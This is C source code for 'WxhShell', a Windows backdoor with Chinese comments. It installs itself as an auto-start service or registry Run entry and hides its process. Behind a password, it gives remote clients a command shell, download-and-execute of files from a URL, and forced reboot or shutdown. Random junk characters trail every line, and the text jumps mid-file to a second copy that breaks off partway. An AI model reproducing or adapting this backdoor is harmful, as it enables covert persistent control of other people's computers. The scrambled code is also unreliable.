    if(Boot(SHUTDOWN)) YNRorE   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LKEf#mp  
    else { m\Xgvpv rP  
    closesocket(wsh); ['G@`e*\  
    ExitThread(0); F$!K/Mm[  
    } 9q4%s?)j  
    break; O6P{+xj$  
    } QoU0>p+ 2  
  // 获取shell NI1jJfH|l  
  case 's': { YhZmyYamE  
    CmdShell(wsh); I Ceb2R  
    closesocket(wsh); b/yXE)3 X  
    ExitThread(0); (B0tgg^jj,  
    break; 5y1:oiE/  
  } 1pM"j!  
  // 退出 RTEzcJ>  
  case 'x': { NJe^5>4`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G(;C~kHX  
    CloseIt(wsh); 6oQSXB@  
    break; -=+@/@nV  
    } {p70( ]v  
  // 离开 1&wI*4  
  case 'q': { ) vKZs:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q;'{~!=  
    closesocket(wsh); l1EI4Y9KG  
    WSACleanup(); +ROwk  
    exit(1); YyF=u~l  
    break; `u *:wJsv  
        } 2,3pmb  
  } >@mvb@4*  
  } DO^K8~]  
$?e_ l  
  // 提示信息 E&wz0d;gf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^J[r<Dm8F  
} {cW%i:  
  } v Mi&0$  
qkLp8/G>pO  
  return; 6UXDIg=  
} zj+.MG04  
q>E[)\+y  
// shell模块句柄 "s6\l~+9l  
int CmdShell(SOCKET sock) da,Bnze0  
{ A:?|\r  
STARTUPINFO si; y9#r SA*  
ZeroMemory(&si,sizeof(si)); }3Mnq?.-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j\uh]8N3<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q\`0'Z,  
PROCESS_INFORMATION ProcessInfo; >7[o=!^:4  
char cmdline[]="cmd"; Vzs_g]V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j&c YRKpz  
  return 0; B F,8[|%#  
} RAh4#8]  
whoQA}X>  
// 自身启动模式 @C?.)#  
int StartFromService(void) A\1X-Mm  
{ Z#1 'STg  
typedef struct iz0GL&<  
{ i.(kX`~J1  
  DWORD ExitStatus; -fB;pS,  
  DWORD PebBaseAddress; wUj#ACqB  
  DWORD AffinityMask; J'=iEI  
  DWORD BasePriority; hA6D*8oXD  
  ULONG UniqueProcessId; $r'PYGn  
  ULONG InheritedFromUniqueProcessId; <uYeev%  
}   PROCESS_BASIC_INFORMATION; 8vK$]e36  
3Aqw )B'"_  
PROCNTQSIP NtQueryInformationProcess; C=sEgtEI  
k,kr7'Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EJz?GM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lO>9Q]S<  
-fA1_ ?7S  
  HANDLE             hProcess; DMcH, _(  
  PROCESS_BASIC_INFORMATION pbi; k-zkb2  
q9^6A90  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JJ+A+sfdk  
  if(NULL == hInst ) return 0; y;r{0lTB  
`> :^c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \D<w:\P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a  St  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]c=nkS  
"3r7/>xy  
  if (!NtQueryInformationProcess) return 0; QR#L1+Hn  
RM(MCle}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /p PSo  
  if(!hProcess) return 0; TJhzyJ"t  
A'=,q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h,(f3Ik0O  
^s;xLGl]  
  CloseHandle(hProcess); *2(W`m  
,2R7AHk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TB@0j ;g  
if(hProcess==NULL) return 0; {+SshT>J  
b;K]; o-/f  
HMODULE hMod; keMfK ]9  
char procName[255]; :=J^"c  
unsigned long cbNeeded; \@K KX  
6M/*]jLq4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '20SoVp  
F70_N($i  
  CloseHandle(hProcess); l )m]<E X  
$ OAak  
if(strstr(procName,"services")) return 1; // 以服务启动 'ZUB:R@[  
p[J 8 r{'  
  return 0; // 注册表启动 VOY#Y*)g  
} (=/%_jj  
}R\9y bv  
// 主模块 l?rT_uO4  
int StartWxhshell(LPSTR lpCmdLine) *Bj7\8cKC  
{ nB+UxU@  
  SOCKET wsl; p#  4@  
BOOL val=TRUE; '/[9Xwh9  
  int port=0; Shm$>\~=  
  struct sockaddr_in door; "+@>!U  
iYE7BUH=  
  if(wscfg.ws_autoins) Install(); Z6F^p8O-  
D rMG{Yiu  
port=atoi(lpCmdLine); }iZ>Gm '5  
s&gzv=v  
if(port<=0) port=wscfg.ws_port; ifYC&5}SI  
Vo; B#lK  
  WSADATA data; p`CVq`k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B/n/bi8T  
RhPEda2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :9=J=G*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q 6)5*o8n  
  door.sin_family = AF_INET; 3ZhB 8 P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 33*NgQ;&~'  
  door.sin_port = htons(port); $h()% C7s  
p^(gXzW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z`9yGaTO  
closesocket(wsl); l|Z<pD  
return 1; YcQ3 :i  
} U&\2\z3{  
`Qrrnq  
  if(listen(wsl,2) == INVALID_SOCKET) { VZRM=;V  
closesocket(wsl); O6Gg?j  
return 1; mH/$_x)o  
} j_I  
  Wxhshell(wsl); @|1/yQgi  
  WSACleanup(); * I{)8  
TfFuHzZZ  
return 0; _Q $D6+  
)}KQtkU8:  
} \B$Q%\-PX  
5YQq*$|'+  
// 以NT服务方式启动 9tt0_*UX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HJh9 <I  
{ Y >N`(  
DWORD   status = 0; /P8`)?f~y  
  DWORD   specificError = 0xfffffff; DOzJ-uww1  
q7VpKfA:M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k\~A\UIYo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EXrOP]Kl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AVx 0aj  
  serviceStatus.dwWin32ExitCode     = 0; yVP 1=pz_[  
  serviceStatus.dwServiceSpecificExitCode = 0; -H;%1y$A-  
  serviceStatus.dwCheckPoint       = 0; C K{.Ic^  
  serviceStatus.dwWaitHint       = 0; -nvK*rn>}  
:M%s:,]R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hny):59f  
  if (hServiceStatusHandle==0) return; l Zq`,E_L  
vcsMU|GGh  
status = GetLastError(); @6~OQN  
  if (status!=NO_ERROR) T 5jZd@VT,  
{ +EnJyli  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yzml4/X  
    serviceStatus.dwCheckPoint       = 0; o (OC3  
    serviceStatus.dwWaitHint       = 0; | gou#zi  
    serviceStatus.dwWin32ExitCode     = status; 7T)J{:+0!|  
    serviceStatus.dwServiceSpecificExitCode = specificError; pKM5<1J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j1LL[+G-"_  
    return; ua'dm6",:  
  } dE _I=v  
QCI-YJ&o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qZ:--,9+  
  serviceStatus.dwCheckPoint       = 0; p(5'|eqBV  
  serviceStatus.dwWaitHint       = 0; Hsoe?kUHF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o#IQz_  
} E7*z.3  
*Y2d!9F}Sa  
// 处理NT服务事件,比如:启动、停止 :e&P's=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wF`9}9q  
{ abvA*|  
switch(fdwControl) KLc<c1BZ  
{ P]pVYX# m  
case SERVICE_CONTROL_STOP: r|bvpZV  
  serviceStatus.dwWin32ExitCode = 0; n,Z B-"dW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <AzM~]"3  
  serviceStatus.dwCheckPoint   = 0; 9bpY>ze  
  serviceStatus.dwWaitHint     = 0; Dyx3N5?C  
  { ON$^_l/c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &f\ng{  
  } Q\>Kd N{  
  return; p:,(r{*?  
case SERVICE_CONTROL_PAUSE: $g|/.XH%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vk:m >?(  
  break; igV4nL  
case SERVICE_CONTROL_CONTINUE: FDHa|<oz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,a I0Aw  
  break; IX /r  
case SERVICE_CONTROL_INTERROGATE: \\qw"w9  
  break; NINaOs  
}; /}]Irj4m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } r#by%P  
} F?LTWm  
0 w"&9+kV  
// 标准应用程序主函数 RyGce' q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ya9V+/i7T_  
{ |!\(eLR9>  
ijYSYX@  
// 获取操作系统版本 27;t,Oq}  
OsIsNt=GetOsVer(); UeVRd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P2nb&lVdu  
!2('Cq_^  
  // 从命令行安装 C?Sy90f  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]< 0|"NL  
XK)qDg  
  // 下载执行文件 _Z:WgO].  
if(wscfg.ws_downexe) { hr8v O"tZN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r9/PmZo4x  
  WinExec(wscfg.ws_filenam,SW_HIDE); T[iwP~l  
} |zV-a2K%J  
3 *o l  
if(!OsIsNt) { f1'NWec  
// 如果时win9x,隐藏进程并且设置为注册表启动 x. 7Ln9  
HideProc(); Y%UfwbX!g  
StartWxhshell(lpCmdLine); _fH.#C  
} .1yp}&e#  
else %2<G3]6^U  
  if(StartFromService()) ]F@XGJN  
  // 以服务方式启动 ( _ZOUMe  
  StartServiceCtrlDispatcher(DispatchTable); [Hn4&PET  
else > dJvl|  
  // 普通方式启动 T(<C8  
  StartWxhshell(lpCmdLine); (R*K)(Nw[  
3wEVjT-  
return 0; Tsez&R$k  
} *8zn\No<,  
7W[}7Y   
oEE*H2l\  
^/wvHu[#  
=========================================== 1{oq8LB  
p;dH[NW  
a X>bC-  
RZ!-,|"cwL  
,%+i}H,3  
6xs_@Vk|d  
" /-wAy-W  
kzhncku  
#include <stdio.h> ZB'/DO=i  
#include <string.h> .`84Y  
#include <windows.h> \: H&.VQ"  
#include <winsock2.h> "CdL?(  
#include <winsvc.h> _5vAn t*  
#include <urlmon.h> We#u-#k_O  
[N}:Di,S  
#pragma comment (lib, "Ws2_32.lib") 3,8>\yf`  
#pragma comment (lib, "urlmon.lib") 5MH\Gq e7  
^+zF;Q'  
#define MAX_USER   100 // 最大客户端连接数  _2VL%  
#define BUF_SOCK   200 // sock buffer 3_W1)vd{  
#define KEY_BUFF   255 // 输入 buffer %aU4d e^  
|?CR|xqT  
#define REBOOT     0   // 重启 zg!;g`Z@S  
#define SHUTDOWN   1   // 关机 TOo0rcl  
Kb~s'cTxIO  
#define DEF_PORT   5000 // 监听端口 m}] bP  
@Y'BqDFlZ  
#define REG_LEN     16   // 注册表键长度 DUc - D==  
#define SVC_LEN     80   // NT服务名长度 Iaf"j 2B  
}vkrWy^  
// 从dll定义API |->{NU Z{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (&4aebkZO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lrgv:n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PsTPGK#S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +(iM]L$Fw%  
12*'rU;*  
// wxhshell配置信息 AvdxDN  
struct WSCFG { P agzp%m  
  int ws_port;         // 监听端口 ]Cpd`}'  
  char ws_passstr[REG_LEN]; // 口令 MP\$_;&xB  
  int ws_autoins;       // 安装标记, 1=yes 0=no I"4j152P|  
  char ws_regname[REG_LEN]; // 注册表键名 " d3pkY  
  char ws_svcname[REG_LEN]; // 服务名 |:SBkM,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1;<J] S$$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T8 k@DS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2]n"7Z8(v8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xmxfXW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @.f@N;z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A0sydUc  
Ep/4o< N(  
}; s5T$>+ a  
nS0K&MH6B  
// default Wxhshell configuration cg$@x\fJ  
struct WSCFG wscfg={DEF_PORT, .L[WvAo  
    "xuhuanlingzhe", F i?2sa  
    1, L-\-wXg%  
    "Wxhshell", 0x!XE|7I  
    "Wxhshell", Yhl {'  
            "WxhShell Service", 3Xgf=yG:M  
    "Wrsky Windows CmdShell Service", ?y82S*sb#  
    "Please Input Your Password: ", PDaHY  
  1, 6'UtB!gr  
  "http://www.wrsky.com/wxhshell.exe", l/,O9ur-  
  "Wxhshell.exe" U`_(Lq%5W  
    }; V`$Jan  
N"MuAUB:K  
// 消息定义模块 OJ ng  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pmd=3,D'u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6/@"K HHVe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZcgSVMqEX  
char *msg_ws_ext="\n\rExit."; @e#eAJhU  
char *msg_ws_end="\n\rQuit."; :SilQm*Pl  
char *msg_ws_boot="\n\rReboot..."; Ml)~%ZbF  
char *msg_ws_poff="\n\rShutdown..."; 6k"'3AKaR  
char *msg_ws_down="\n\rSave to "; keNPlK%>  
mHjds77e  
char *msg_ws_err="\n\rErr!"; pIdJ+gu(s  
char *msg_ws_ok="\n\rOK!"; |[n-H;0  
O7|0t\)  
char ExeFile[MAX_PATH]; Kl<qp7o0  
int nUser = 0; :9N~wd  
HANDLE handles[MAX_USER]; {7 &(2Z]z  
int OsIsNt; v]|^.x:  
m`!C|?hu  
SERVICE_STATUS       serviceStatus; bj4cW\b(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _y&m4Vuu  
!4cR&@[  
// 函数声明 E\Hhi.-  
int Install(void); z5-vx`  
int Uninstall(void); R,CFU l7Q  
int DownloadFile(char *sURL, SOCKET wsh); L6yRN>5aE  
int Boot(int flag); ucQ2/B#'4l  
void HideProc(void); 2@ vSe  
int GetOsVer(void); -M}#-qwf  
int Wxhshell(SOCKET wsl); ;u!qu$O  
void TalkWithClient(void *cs); 0Qvbc}KP8  
int CmdShell(SOCKET sock); ;:Q 5?zM  
int StartFromService(void); PLR[nB7K  
int StartWxhshell(LPSTR lpCmdLine); E+Z//)1Z  
v# ab2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i8pM,Ppi~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O1IR+"0  
=M^4T?{T  
// 数据结构和表定义 BuMBnbT  
SERVICE_TABLE_ENTRY DispatchTable[] = tbD>A6&VM}  
{ n5 dFp%k  
{wscfg.ws_svcname, NTServiceMain}, $},Y)"mI  
{NULL, NULL} MkZm =Sf  
}; w!o[pvyR$  
;rWgt!l  
// 自我安装 :RR<-N5+  
int Install(void) p%~#~5t,  
{ 8#NtZ  
  char svExeFile[MAX_PATH]; YKq,`7"%  
  HKEY key; r=6-kC!T9  
  strcpy(svExeFile,ExeFile); )p'ZSXb  
TB 9{e!4  
// 如果是win9x系统,修改注册表设为自启动 ,-^Grmr4M  
if(!OsIsNt) { O_aZ\28};C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kx8\]'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }yZ9pTB.?E  
  RegCloseKey(key); ;Ut0tm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <RY5ZP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p Ux ~  
  RegCloseKey(key); ocBfs^ aW  
  return 0; S05+G}[$  
    } BYuF$[3ya&  
  } 4d3]L` f  
} nsFOtOdd  
else { 0FmYM@Wc  
|f1 S&b.  
// 如果是NT以上系统,安装为系统服务 WGFp<R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {pMbkA Q@  
if (schSCManager!=0) hI*gw3V  
{ @~% R%Vu  
  SC_HANDLE schService = CreateService |F z/9+I  
  ( fH? e9E4l  
  schSCManager, 5BnO-[3  
  wscfg.ws_svcname, ]b!o(5m  
  wscfg.ws_svcdisp, B}_*0D  
  SERVICE_ALL_ACCESS, 0A\OZ^P8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yi*)g0M  
  SERVICE_AUTO_START, wJM})O%SQ  
  SERVICE_ERROR_NORMAL, TUoEk  
  svExeFile, 1o\P7P Le  
  NULL, ,>lOmyh  
  NULL, j\& `  
  NULL, *4#)or  
  NULL, ,.[T]37  
  NULL $Kgw6  
  ); S~L$sqt  
  if (schService!=0) rC.z772y%  
  { JVbR5"+.  
  CloseServiceHandle(schService); s<VNW  
  CloseServiceHandle(schSCManager); @NlE2s6a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `Yn:fL7S  
  strcat(svExeFile,wscfg.ws_svcname); m` ^o<V&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (UWWULV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _$%.F| :  
  RegCloseKey(key); _7r<RZ  
  return 0; RGFanP  
    } "L^]a$&  
  } a^_\#,}  
  CloseServiceHandle(schSCManager); 0nUcUdIf+  
} F#_JcEE  
} U@21N3_@_  
 SyFw  
return 1; y J*`OU#  
} 21'I-j  
tE3#Uq  
// 自我卸载 ^`>,~$Q  
int Uninstall(void) /f_w@TR\{  
{ 3lzjY.]Pgv  
  HKEY key; `|?K4<5|  
)90Q  
if(!OsIsNt) { 3)\jUVuj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U;QTA8|!&  
  RegDeleteValue(key,wscfg.ws_regname); wSoIU,I  
  RegCloseKey(key); o1C1F}gxU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QND{3Q  
  RegDeleteValue(key,wscfg.ws_regname); 5(RFk Zn4[  
  RegCloseKey(key); jMv qKJ(<  
  return 0; -|;{/ s5  
  } -xs @rV`  
} q5C(/@)^  
} 0Oy.&C T  
else { |Iei!jm  
x=>B 6o-f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %(lr.9.]H  
if (schSCManager!=0) R-8>,  
{ \]RPxM:_>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6;s.%W  
  if (schService!=0) PyQt8Qlz  
  { UhKC:<%  
  if(DeleteService(schService)!=0) { xgoG>~F  
  CloseServiceHandle(schService); "B`k  
  CloseServiceHandle(schSCManager); o 4G%m>$  
  return 0; -]yM<dP  
  } 8R?X$=$]!.  
  CloseServiceHandle(schService); "Bl ]_YPv  
  } |R$V[  
  CloseServiceHandle(schSCManager); >np!f8+d"q  
} )!SA]>-  
} eC`} oEz  
|f5WN&c  
return 1; 32h}+fd  
} 1 ; _tu  
7<FI[  
// 从指定url下载文件 [7x,&  
int DownloadFile(char *sURL, SOCKET wsh) Mttt]]  
{ 7A:k  
  HRESULT hr; Do1 Ip&X  
char seps[]= "/"; KnL-qc  
char *token; e4:,W+g,9  
char *file; ay~c@RXW  
char myURL[MAX_PATH]; {"{kWbXZ  
char myFILE[MAX_PATH]; qe. Qjq  
t &scvXh  
strcpy(myURL,sURL); Fg` P@hC  
  token=strtok(myURL,seps); "^M/iv(  
  while(token!=NULL) $sF'Sr{)y  
  { aumWU{j=  
    file=token; }%e"A4v  
  token=strtok(NULL,seps); %f[0&)1!.v  
  } B=dF\.&Z  
]b5E_/P  
GetCurrentDirectory(MAX_PATH,myFILE); HURr k~[  
strcat(myFILE, "\\"); iCd$gwA>F  
strcat(myFILE, file); Pw c)u&  
  send(wsh,myFILE,strlen(myFILE),0); MnToL@  
send(wsh,"...",3,0); F)fCj^ zL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _:dt8+T#  
  if(hr==S_OK) =QdHji/sB  
return 0; RRSkXDU}  
else q8DSKi  
return 1; ,uz+/K%OA5  
/G[2   
} \ a}6NIo  
DX3xWdnr  
// 系统电源模块 Xn:5pd;?B6  
int Boot(int flag) Q\H1=8  
{ '7BJ.  
  HANDLE hToken; KWuc*!  
  TOKEN_PRIVILEGES tkp; Eo h4#fZ\N  
,_SE!iL  
  if(OsIsNt) { #B_Em$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8 ckcTNPu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _6U=7<f  
    tkp.PrivilegeCount = 1; T2EQQFs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pv-El+e!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [\i0@  
if(flag==REBOOT) { S"-q*!AhK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D1xIRyc/  
  return 0; k@}?!V*l  
} dP[vXhc  
else { 0EWov~Y?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AQ}(v,DOb  
  return 0; &P2tzY'  
} Q4~/Tl;  
  } [Eq7!_ 3  
  else { |A .U~P):  
if(flag==REBOOT) { K!AW8FnHkZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XSfl'Fll D  
  return 0; zY11.!2  
} ~Qg:_ @@\  
else { |ZJ<J)y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D./!/>@f  
  return 0; m!'moumL;  
} *U<l$gajq  
} $!?tJ@{  
2il)@&^  
return 1; %R|_o<(#MJ  
} L>trLD1pt  
x6n(BMr  
// win9x进程隐藏模块 a,$v;s/  
void HideProc(void) +, IMN)?;z  
{ *8I+D>x  
6 b/UFO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); blVt:XS{,m  
  if ( hKernel != NULL ) d17RJW%A  
  { &XvSAw+D@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @%FLT6MY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q4;%[7LU  
    FreeLibrary(hKernel); T O]wD^`  
  } OV~]-5gau  
Y5dt/8Jo  
return; \OzPDN  
} 2`Dqu"TWh  
yuef84~  
// 获取操作系统版本 E%.w6-  
int GetOsVer(void) i(Xz3L#(  
{ v0aV>-v  
  OSVERSIONINFO winfo; H\>0jr `  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rd )_*{  
  GetVersionEx(&winfo); G5l?c@o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uGoySt&;(  
  return 1; c }-AD r9  
  else 5%6{ ePh{  
  return 0; V/t/uNm  
} y^u9Ttf{  
`] fud{  
// 客户端句柄模块 qj.>4d  
int Wxhshell(SOCKET wsl) g +RgDt9  
{ ^CBc~um2  
  SOCKET wsh; 9Z[EzKd<~'  
  struct sockaddr_in client; Y^Y1re+}  
  DWORD myID; w'r?)WW$  
av8\?xmo.$  
  while(nUser<MAX_USER) ^ ,cwm:B@  
{ RV=Z$  
  int nSize=sizeof(client); .="/n8B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V7gv@<1<y  
  if(wsh==INVALID_SOCKET) return 1; L vPcH  
w;OvZo|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _8z gaA  
if(handles[nUser]==0) |T; ]%<O3E  
  closesocket(wsh); Au\j6mB  
else prdc}~J8{  
  nUser++; ,N1I\f  
  } /0_^Z2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .%"s| D  
ahUc ;S:v#  
  return 0; v'e5j``=  
} 6 3NhD  
):L ; P)  
// 关闭 socket AY(z9 &;6  
void CloseIt(SOCKET wsh) \*+-Bm:$j  
{ =i1+t"=  
closesocket(wsh); a5dc#f Kf  
nUser--; o0)k5P~<~  
ExitThread(0); Lu.C+zgQ  
} @ L=dcO{r  
K2o\+t  
// 客户端请求句柄 k|r|*|8  
void TalkWithClient(void *cs) /QW-#K|S&  
{ xX:N-  
n5U-D0/Q  
  SOCKET wsh=(SOCKET)cs; !7>~=n_,L.  
  char pwd[SVC_LEN]; +EOd9.X\~  
  char cmd[KEY_BUFF]; RG8Ek"D@  
char chr[1]; ' X9D(?O  
int i,j; $&ZN%o3  
x-@}x@n&[  
  while (nUser < MAX_USER) { bm\Zp  
DX b=Ku  
if(wscfg.ws_passstr) { +M{A4nYY|1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }~O`(mnD}K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \2^_v' >K  
  //ZeroMemory(pwd,KEY_BUFF); ;%<R>gDWv  
      i=0; R^f-j-$o]  
  while(i<SVC_LEN) { \1MMz Z4rf  
oD8X]R, H  
  // 设置超时 .kqH}{hf  
  fd_set FdRead; N]dsGvX  
  struct timeval TimeOut; %NH{%K,  
  FD_ZERO(&FdRead); l\DcXgD x  
  FD_SET(wsh,&FdRead); Q~-MB]'  
  TimeOut.tv_sec=8; 50R&;+b  
  TimeOut.tv_usec=0; O?OG`{k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U?e.)G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $v\o14 v  
!?aL_{7J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  K?]c  
  pwd=chr[0]; '\wZKY VN  
  if(chr[0]==0xd || chr[0]==0xa) { hhr!FQ.+/  
  pwd=0; 2JR$  
  break; nl/~7({  
  } n:P++^ j  
  i++; B(ZK\]  
    } v2KK%Qy  
lBZhg~{  
  // 如果是非法用户,关闭 socket %4I13|<A`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u}(K3H3  
} G|+naZ  
pRc<U^Z.h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /DxeG'O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;a9`z+ K  
;NPbEPL[5  
while(1) {  )k6O  
P^-daRb  
  ZeroMemory(cmd,KEY_BUFF); #,jw! HO]  
i7jI(VvB^  
      // 自动支持客户端 telnet标准   l|" SM6  
  j=0; /DE`>eJY  
  while(j<KEY_BUFF) { @A1Ohl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f2,\B6+  
  cmd[j]=chr[0]; "yG*Kh7ur  
  if(chr[0]==0xa || chr[0]==0xd) { AD@-H0Y  
  cmd[j]=0; bPMkBm  
  break; gbr-C  
  } -P>up)p  
  j++; VI(2/**  
    } *U:0c ;h  
#7BX,jvn>  
  // 下载文件 \ ~uY);  
  if(strstr(cmd,"http://")) { \agT#tT J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h/xV;oj  
  if(DownloadFile(cmd,wsh)) Kn`-5{1B|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 586lN22xM  
  else <E1ngG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z$b'y;k  
  } *$*V#,V-  
  else { Y<)9TU:D!  
rZkl0Y;n\  
